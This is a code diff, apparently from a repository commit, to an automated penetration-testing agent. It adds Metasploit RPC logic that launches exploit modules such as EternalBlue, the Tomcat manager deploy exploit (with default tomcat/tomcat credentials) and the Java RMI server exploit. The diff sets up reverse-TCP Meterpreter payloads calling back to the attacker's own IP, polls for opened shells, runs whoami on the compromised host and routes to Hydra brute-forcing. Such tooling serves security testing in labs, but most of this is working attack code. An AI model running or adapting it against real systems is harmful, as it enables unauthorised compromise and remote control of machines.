@@ -113,12 +113,117 @@ def _execute_recon(self, decision: Dict):
113113
114114 # ── Phase 3: Exploitation ─────────────────────────────────────────────
115115
116+ @staticmethod
117+ def _get_local_ip () -> str :
118+ import socket as _sock
119+ try :
120+ s = _sock .socket (_sock .AF_INET , _sock .SOCK_DGRAM )
121+ s .connect (("8.8.8.8" , 80 ))
122+ return s .getsockname ()[0 ]
123+ except Exception :
124+ return "0.0.0.0"
125+ finally :
126+ try :
127+ s .close ()
128+ except Exception :
129+ pass
130+
131+
132+ def _handle_new_session (self , sid : str , sinfo : dict , via_module : str ):
133+ """Banner + SESSION_OPENED event for a newly detected MSF session."""
134+ session_host = sinfo .get ("session_host" , sinfo .get ("target_host" , self .state .target ))
135+ whoami_out = "N/A"
136+ try :
137+ session_obj = self .msf_client .sessions .session (sid )
138+ stype = sinfo .get ("type" , "" )
139+ arch = sinfo .get ("arch" , "" )
140+ if stype == "meterpreter" and arch == "java" :
141+ whoami_out = session_obj .run_with_output (
142+ 'execute -f /bin/sh -a "-c whoami" -i' , timeout = 8
143+ ).strip ()
144+ else :
145+ whoami_out = session_obj .run_with_output ("whoami" , timeout = 8 ).strip ()
146+ except Exception :
147+ pass
148+
149+ w = 42
150+ print (f"\n ╔{ '═' * w } ╗" )
151+ print (f"║{ 'SHELL OBTENU - ACCES CONFIRME' :^{w }} ║" )
152+ print (f"╠{ '═' * w } ╣" )
153+ print (f"║ Host : { session_host :<{w - 11 }} ║" )
154+ print (f"║ Via : { via_module .split ('/' )[- 1 ]:<{w - 11 }} ║" )
155+ print (f"║ User : { whoami_out :<{w - 11 }} ║" )
156+ print (f"║ Session : { sid :<{w - 11 }} ║" )
157+ print (f"╠{ '═' * w } ╣" )
158+ print (f"║ { 'msfconsole → sessions -i ' + sid :<{w - 1 }} ║" )
159+ print (f"╚{ '═' * w } ╝\n " )
160+
161+ self .bus .publish (Event (
162+ type = EventType .SESSION_OPENED ,
163+ data = {"session_id" : sid , "host" : session_host ,
164+ "info" : sinfo .get ("info" , "" ), "via_exploit" : via_module },
165+ source = "msf_executor" ,
166+ ))
167+
168+ # Modules that require LHOST — configured via RPC payload object
169+ _LHOST_MODULES = {
170+ "exploit/multi/http/tomcat_mgr_deploy" : {
171+ "payload" : "java/meterpreter/reverse_tcp" ,
172+ "lport" : 4444 ,
173+ "extra" : {"HttpUsername" : "tomcat" , "HttpPassword" : "tomcat" },
174+ },
175+ "exploit/multi/misc/java_rmi_server" : {
176+ "payload" : "java/meterpreter/reverse_tcp" ,
177+ "lport" : 4446 ,
178+ "extra" : {},
179+ },
180+ "exploit/windows/smb/ms17_010_eternalblue" : {
181+ "payload" : "windows/x64/meterpreter/reverse_tcp" ,
182+ "lport" : 4445 ,
183+ "extra" : {},
184+ },
185+ }
186+
187+ def _execute_msf_module (self , module_name : str , target_ip : str , port : str ,
188+ payload_name : str , lhost : str , lport : int ) -> str :
189+ try :
190+ module_path = module_name .split ("/" , 1 )[1 ] # strip "exploit/"
191+ exploit = self .msf_client .modules .use ("exploit" , module_path )
192+ exploit ["RHOSTS" ] = target_ip
193+ exploit ["RPORT" ] = str (port )
194+
195+ cfg = self ._LHOST_MODULES .get (module_name , {})
196+ for k , v in cfg .get ("extra" , {}).items ():
197+ exploit [k ] = v
198+
199+ payload = self .msf_client .modules .use ("payload" , payload_name )
200+ payload ["LHOST" ] = lhost
201+ payload ["LPORT" ] = str (lport )
202+
203+ result = exploit .execute (payload = payload )
204+
205+ for _ in range (30 ):
206+ time .sleep (1 )
207+ sessions = self .msf_client .sessions .list
208+ if sessions :
209+ for sid , sinfo in sessions .items ():
210+ sid_str = str (sid )
211+ if sid_str not in self .state .sessions :
212+ self .state .sessions [sid_str ] = sinfo
213+ self ._handle_new_session (sid_str , sinfo , module_name )
214+ return "success"
215+
216+ return "completed"
217+
218+ except Exception as exc :
219+ logger .warning (f"MSF module execute error: { exc } " )
220+ return "error"
221+
116222 def _execute_exploit (self , decision : Dict ):
117223 host = decision .get ("target_host" , self .state .target )
118224 port = str (decision .get ("target_port" , 0 ))
119225 module = decision .get ("module_or_cmd" , "" )
120226 tool = decision .get ("tool" , "" ).lower ()
121- key = (host , port , module )
122227
123228 if self .state .has_tried (host , int (port ) if port .isdigit () else 0 , module ):
124229 logger .info (f"Skipping already-tried exploit: { module } on { host } :{ port } " )
@@ -128,67 +233,45 @@ def _execute_exploit(self, decision: Dict):
128233
129234 if tool == "metasploit" and self .msf_client :
130235 try :
131- from exploitation .metasploit_engine import MetasploitEngine
132- eng = MetasploitEngine ()
133- eng ._client = self .msf_client
134- result = eng .run_module (host , port , module )
236+ lhost_cfg = self ._LHOST_MODULES .get (module )
237+ if lhost_cfg :
238+ # Modules requiring LHOST → RPC API with separate payload object
239+ lhost = self ._get_local_ip ()
240+ status = self ._execute_msf_module (
241+ module , host , port ,
242+ lhost_cfg ["payload" ], lhost , lhost_cfg ["lport" ],
243+ )
244+ result = {"status" : status , "output" : f"RPC execute: { module } " }
245+ else :
246+ # vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
247+ from exploitation .metasploit_engine import MetasploitEngine
248+ eng = MetasploitEngine ()
249+ eng ._client = self .msf_client
250+ result = eng .run_module (host , port , module )
251+
252+ print (f"[AGENT] Exploit: { module } on { host } :{ port } " )
253+ print (f"[AGENT] Result: { result .get ('status' )} — { result .get ('output' ,'' )[:80 ]} " )
254+
135255 if result .get ("status" ) == "success" :
136256 self .state .exploits_success .append ({"host" : host , "module" : module })
137257 self .bus .publish (Event (
138258 type = EventType .EXPLOIT_SUCCESS ,
139259 data = {"host" : host , "port" : port , "module" : module },
140260 source = "executor" ,
141261 ))
142- # Wait 8s — Meterpreter payloads (Tomcat, java) are slower to callback
143- time .sleep (8 )
144- try :
262+ if lhost_cfg is None :
263+ # LHOST modules handle session detection internally;
264+ # only check here for Phase 3 bind-shell modules
265+ time .sleep (5 )
145266 sessions = self .msf_client .sessions .list or {}
146- print (f"[DEBUG] Sessions après exploit : { sessions } " )
147267 for sid , sinfo in sessions .items ():
148268 sid_str = str (sid )
149269 if sid_str not in self .state .sessions :
150270 self .state .sessions [sid_str ] = sinfo
151- session_host = sinfo .get ("session_host" ,
152- sinfo .get ("target_host" , host ))
153- via = sinfo .get ("via_exploit" , module )
154-
155- # Confirm access with quick commands
156- whoami_out , id_out , hostname_out = "N/A" , "N/A" , "N/A"
157- try :
158- sess_obj = self .msf_client .sessions .session (sid_str )
159- whoami_out = sess_obj .run_with_output ("whoami" , timeout = 8 ).strip ()
160- id_out = sess_obj .run_with_output ("id" , timeout = 8 ).strip ()
161- hostname_out = sess_obj .run_with_output ("hostname" , timeout = 8 ).strip ()
162- except Exception :
163- pass
164-
165- # Shell banner
166- w = 42
167- print (f"\n ╔{ '═' * w } ╗" )
168- print (f"║{ 'SHELL OBTENU - ACCES CONFIRME' :^{w }} ║" )
169- print (f"╠{ '═' * w } ╣" )
170- print (f"║ Host : { session_host :<{w - 11 }} ║" )
171- print (f"║ Via : { via :<{w - 11 }} ║" )
172- print (f"║ User : { whoami_out :<{w - 11 }} ║" )
173- print (f"║ Session : { sid_str :<{w - 11 }} ║" )
174- print (f"╠{ '═' * w } ╣" )
175- print (f"║ { 'msfconsole → sessions -i ' + sid_str :<{w - 1 }} ║" )
176- print (f"╚{ '═' * w } ╝\n " )
177-
178- self .bus .publish (Event (
179- type = EventType .SESSION_OPENED ,
180- data = {
181- "session_id" : sid_str ,
182- "host" : session_host ,
183- "info" : sinfo .get ("info" , "" ),
184- "via_exploit" : via ,
185- },
186- source = "exploit_executor" ,
187- ))
188- except Exception as exc :
189- logger .debug (f"Post-exploit session check failed: { exc } " )
271+ self ._handle_new_session (sid_str , sinfo , module )
190272 except Exception as exc :
191- logger .warning (f"Exploit error: { exc } " )
273+ logger .warning (f"Exploit error [{ module } ]: { exc } " )
274+
192275 elif tool == "hydra" :
193276 self ._run_hydra (host , int (port ) if port .isdigit () else 22 ,
194277 decision .get ("module_or_cmd" , "ssh" ))
0 commit comments